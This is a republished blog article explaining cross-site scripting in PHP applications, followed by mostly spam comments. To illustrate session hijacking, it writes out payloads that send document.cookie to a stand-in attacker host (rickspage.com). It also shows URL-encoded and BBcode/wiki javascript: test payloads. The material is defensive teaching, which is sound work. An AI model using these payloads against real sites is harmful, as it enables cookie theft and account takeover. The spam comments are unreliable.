Cross-site scripting could make you lose your cookies

The following article was originally written in July 2005 and published on SitePoint.com, and is republished with permission.  For securing your web application you should probably also read about CSRF and clickjacking.

Cross-site scripting (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be underestimated. The problems go far beyond annoyances and practical jokes perpetuated by script kiddies. By stealing your cookies, Cross-site scripting attacks can allow attackers to gain administrative access to your web application.

How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering and/or escaping it properly. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain any character, including characters such as <, &, or which have a different, and special, meaning when they appear as part of HTML.  If the same guestbook entry, blog comment or username field is saved by the web application and later displayed as part of a web page, without any intervening filtering or escaping, then any incidental < characters, which in a plain text field should have no special significance, will be interpreted by browsers as HTML tags.   Any user who happened to slip the character sequence <script into such a field may be able to cause Javascript code to run in the browsers of other people who view the page.

This code may either be relatively harmless – for example, creating unwanted popups or spam – or malicious – code that is intended to gain private information in order to break into each user’s account on the system.

Although cross-site scripting often involves the insertion of a <script> tag into a web page, it is possible to do some damage with other code.  There are many ways to run Javascript in a browser other than through the use of a <script> tag, as well as many other forms of active content besides Javascript.  The XSS cheat sheet is the most thorough list of XSS attack vectors I know of, and show various methods of obfuscating or encoding XSS that may be used other than <script> tags.

Relatively harmless uses of Cross Site Scripting:

  • Code intended to disrupt the layout or appearance of a web page.
  • Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.
  • Code intended to launch unwanted popup windows for advertising or shock value.

Some more harmful uses of Cross Site Scripting:

  • Scripts, including Javascript or another form of active content, designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
  • Objects or applets intended to exploit a known security vulnerability in a particular browser.

Life cycle of a cross-site scripting exploit

I find that cross-site scripting can be a difficult concept to picture. I’ll lead you through a typical cross-site scripting scenario, to gives some examples of what is possible.

Joe has built himself a custom CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ’session ID’ which allows him to remain logged-in while navigating around the site.

Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars or an equivalent to escape plain text in HTML in some places where he echoes user-submitted content to the browser.

A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:

<script>alert('Hello World');</script>

Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.

Rick gets a little craftier and places the following code into a guestbook entry of Joe’s page:

<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>

Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.

Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick may even be able to change Joe’s password, give himself administrator access, or start deleting content.

Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is session hijacking – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.  XSS is a way for an attacker to obtain access to sessions on another server.

Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:

<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A web page about dogs</a>

If Joe clicked that link, as he may do without even thinking, his session ID would be transmitted to Rick’s server.

Furthermore, Rick could have embedded his JavaScript into event handler attributes such as onclick, onmousemove and onsubmit – the latter which could be used to modify the behaviour of a form on the site.

Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.

Patch those holes

Below are some steps which you can take to help prevent cross-site-scripting attacks from being used on your PHP application, and to limit the amount of damage that can be done in the event that someone finds a way anyhow.

Whenever displaying plain text content on your web site, escape the plain text string before doing so.  In PHP, a simple way to do this is to use the htmlspecialchars function on the data right before. This includes all plain text data, whether it be user-submitted or not.  The idea is that < and & characters need to be escaped whether their use is malicious or not.

You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.

if (strlen($_GET['username']) > 12)
  exit("Error: {$_GET['username']} is too long. Your username may be no more than 12 characters");

In this case, the user variable “username” is being sent to the browser without being escaped. A user could construct a URL similar to the following and trick people into clicking it:

http://www.example.com/register.php?username=%3Cscript%3Ealert('gotcha')%3B%3C%2Fscript%3E

The JavaScript above is harmless, but could be modified to steal information from cookies and transmit it to a third party.  Notice that here, the <script> tag is URL encoded.  This will automatically be decoded by the server.

You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication.  Cookies are an excellent convenience feature for users, so their use is encourage, but there are some highly important tasks that may call for more protection.  In addition to the cookie, users should also be asked for their password when they undertake activities such as changing their (or anybody else’s) password or escalating their privilege level. So, if your session is hijacked using your session ID, the attacker won’t be able to lock the rightful account owner out of the account or retain control over the account after they leave. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.

What if you want your users to be allowed to submit HTML?

Escaping plain text for output is easy.  All that needs to be done is to replace a small set of special characters with their escaped equivalents in HTML.

However, if a web application allows users to submit actual HTML (say, from a rich text editing control, or even prompting the user to type HTML in manually), then filtering this for safe output on a web page becomes much harder.  Filtering HTML cannot be reliably done with a search and replace statement or two, or even a highly complex regular expression.  Any filter would need to be able to interpret the HTML in the same way that a browser – any browser – might, and browsers do some strange things.

A common compromise, as seen on many blogs, is to allow only a small subset of HTML.  This makes filtering considerably more attainable than otherwise, but by no means simple.  A read through of the XSS cheat sheet will reveal the necessary complexity of any required filtering mechanism.  What’s more, new methods of defeating XSS filters are discovered all the time (and may be added to the XSS cheat sheet at a later date).

I myself have written a rather comprehensive HTML and XHTML filter in PHP, and it consists of 3 files of source code with over 2000 lines of code in total, not including DTDs.  It is capable of understanding the entire HTML language in terms of its DTD.  To say it is complicated is an understatement, and it still has its limitations.  If you wanted to go down that path you could use HTML Tidy, I presume, incorporated with your own filtering code to make the filtering part a bit easier.

Testing for cross-site scripting vulnerabilities in your application

A way to test for Cross Site Scripting vulnerabilities is to insert testing code into every field, and every variable passed on the query string, that you can find in your application.

The XSS cheat sheet that I mentioned above is the best source of XSS testing code that I know of.

Try, for example, inserting the following code where you would like to test.

<script>alert('Hello World!');</script>

Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.

It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possibly embed HTML or JavaScript into a username? What about user signatures? Secret questions and answers?

Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used.

Forum code or “BBcode”:

[url=javascript:alert('Yes');]Are you vulnerable?[/url]

Wiki markup:

[javascript:alert("Yes");|Are you vulnerable?]

Is your forum or wiki vulnerable?

The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, when I first wrote this article, I was surprised to find that a wiki I used at work was vulnerable to this. If anybody is tricked into clicking a link, any JavaScript in that link will run.

More information about cross-site scripting is available in this CERT Advisory and this document from Apache. The Apache document points out, rightly, that the name “Cross-site scripting” is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously at SitePoint, Harry talked about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.

Have a look at this very thorough article by Chris Shiflett on preventing cross-site scripting attacks.

Cross-site scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications.  However, other common vulnerabilities such as CSRF, including Login CSRF (PDF), and clickjacking, are just as serious.

52 Replies to “Cross-site scripting could make you lose your cookies”

  1. Learning Spanish once a very the second communication ancient in functional life is in fact what developed Megan shine academically, and furthermore My partner and i
    know it. French one particular of this numerous commanded languages one of the exact newest
    scholars in today’s market.

  2. See, this is probably one of the big shovel strategies, proven to be highly expensive.
    The Benefits of Screen doors with Pet doorsThe obvious benefit to
    having any type of wood depending on the style you choose.
    What does it eat? A wooden garage door may be a hard
    task to accomplish. Upshot is that the door will match the door.
    The modern version of this old remedy is a draft guard for
    door. You will only need a couple of cents there
    can really add some serious aesthetic value to your home.

  3. “Cross-site scripting could make you lose your cookies | The
    Bit Depth Blog” ended up being a excellent blog. In case it
    owned more pix this might be even a lot better. Cya -Katrina

  4. Three different private contractors on your project.
    Be careful about paying sales tax and rush charges
    for a new property is a top priority. O’Green went to work
    with its products and processes of window cleaning etc.

    Tony: I’ve heard from clients at affordable pricing, then the pilots try
    to sort school bus it out. This person most likely aware school bus the remodeling, flooring, tile grout,
    carpeting and plumbing.

  5. What’s up every one, here every one is sharing these kinds of
    knowledge, so it’s nice to read this web site, and I used to pay
    a visit this web site every day.

  6. I like the valuable info you supply to your articles.
    I’ll bookmark your blog and check again right here regularly.
    I’m somewhat sure I will be told plenty of
    new stuff right here! Good luck for the next!

  7. hello!,I love your writing so so much! share we keep up a correspondence extra approximately your post on AOL?
    I require a specialist in this house to solve my problem.
    May be that’s you! Having a look forward to peer
    you.

  8. Just desire to say your article is as surprising.
    The clearness in your post is simply excellent and i can assume you are an expert on this subject.
    Fine with your permission let me to grab your RSS feed to keep up
    to date with forthcoming post. Thanks a million and please continue the rewarding work.

  9. After I initially commented I seem to have clicked the -Notify me when new comments
    are added- checkbox and from now on whenever a comment is added I recieve four emails with the
    same comment. Is there a way you can remove me from that service?
    Cheers!

  10. I’m amazed, I must say. Seldom do I encounter a blog that’s equally educative and interesting, and without a doubt,
    you have hit the nail on the head. The problem
    is something which not enough men and women are speaking intelligently about.

    Now i’m very happy I found this during my hunt
    for something regarding this.

  11. I’m amazed, I must say. Seldom do I come across a blog that’s
    both educative and entertaining, and let me tell you, you have hit the nail on the head.
    The issue is something that too few men and women are speaking
    intelligently about. Now i’m very happy that
    I came across this in my hunt for something relating to this.

  12. hello!,I really like your writing very so much!

    share we be in contact more approximately your article on AOL?

    I need a specialist on this area to unravel my problem.
    May be that’s you! Taking a look forward to see you.

  13. I’m impressed, I must say. Rarely do I encounter
    a blog that’s equally educative and amusing, and let me tell you, you’ve hit the nail on the head.
    The issue is something that too few people are speaking intelligently
    about. I am very happy that I came across this during
    my search for something regarding this.

  14. This is the perfect webpage for everyone who would like to understand this topic.
    You know a whole lot its almost hard to argue with you (not that I personally will
    need to…HaHa). You certainly put a brand new spin on a topic which has been discussed for many years.

    Wonderful stuff, just great!

  15. I absolutely love your blog and find most
    of your post’s to be what precisely I’m looking for.
    Do you offer guest writers to write content for you?

    I wouldn’t mind creating a post or elaborating on most of the subjects you write concerning here.

    Again, awesome website!

  16. Undeniably imagine that that you stated. Your favorite reason seemed to be on the web the easiest thing to remember of.
    I say to you, I definitely get annoyed while other people think about issues that they plainly do not understand about.

    You controlled to hit the nail upon the highest and also defined
    out the whole thing without having side effect , folks can take a signal.
    Will probably be back to get more. Thank you

  17. Appreciating the dedication you put into your blog and
    in depth information you present. It’s nice to come across a blog every once in a while that isn’t the same outdated rehashed information. Great read!
    I’ve saved your site and I’m including your RSS feeds to my Google account.

  18. This design is spectacular! You definitely know how to keep a reader
    entertained. Between your wit and your videos, I was almost moved to start
    my own blog (well, almost…HaHa!) Wonderful job.
    I really enjoyed what you had to say, and more than that, how you
    presented it. Too cool!

  19. Everything said made a ton of sense. But, what about
    this? suppose you typed a catchier title? I ain’t suggesting your
    content isn’t solid, but suppose you added something
    that makes people want more? I mean Cross-site scripting could
    make you lose your cookies | The Bit Depth Blog is kinda vanilla.
    You could glance at Yahoo’s home page and see how they write news titles
    to grab viewers interested. You might add a video or a picture or two to grab
    readers interested about what you’ve written. In my opinion, it could bring your blog a little livelier.

  20. Hmm it looks like your blog ate my first comment (it was super long) so I
    guess I’ll just sum it up what I had written and say, I’m thoroughly
    enjoying your blog. I as well am an aspiring blog blogger but I’m still new to the
    whole thing. Do you have any tips for beginner blog writers?
    I’d genuinely appreciate it.

  21. Thank you for the good writeup. It in reality was once a entertainment account it.
    Glance complicated to far brought agreeable from you! By the way, how could we keep up
    a correspondence?

  22. You actually make it seem really easy along with your presentation but I to find this matter to
    be really one thing that I believe I would never understand.
    It seems too complicated and extremely extensive for
    me. I am taking a look ahead on your next publish, I will try to get the grasp of it!

  23. I usually do not leave a comment, but I browsed a ton of comments on Cross-site scripting could make you
    lose your cookies | The Bit Depth Blog. I actually do have a couple of questions for you if you do not mind.

    Is it simply me or does it appear like a few of the responses appear like they are left by brain dead people?

    😛 And, if you are writing on additional online sites, I would like to follow you.
    Could you make a list of every one of all your social community pages
    like your twitter feed, Facebook page or linkedin profile?

Leave a Reply

Your email address will not be published. Required fields are marked *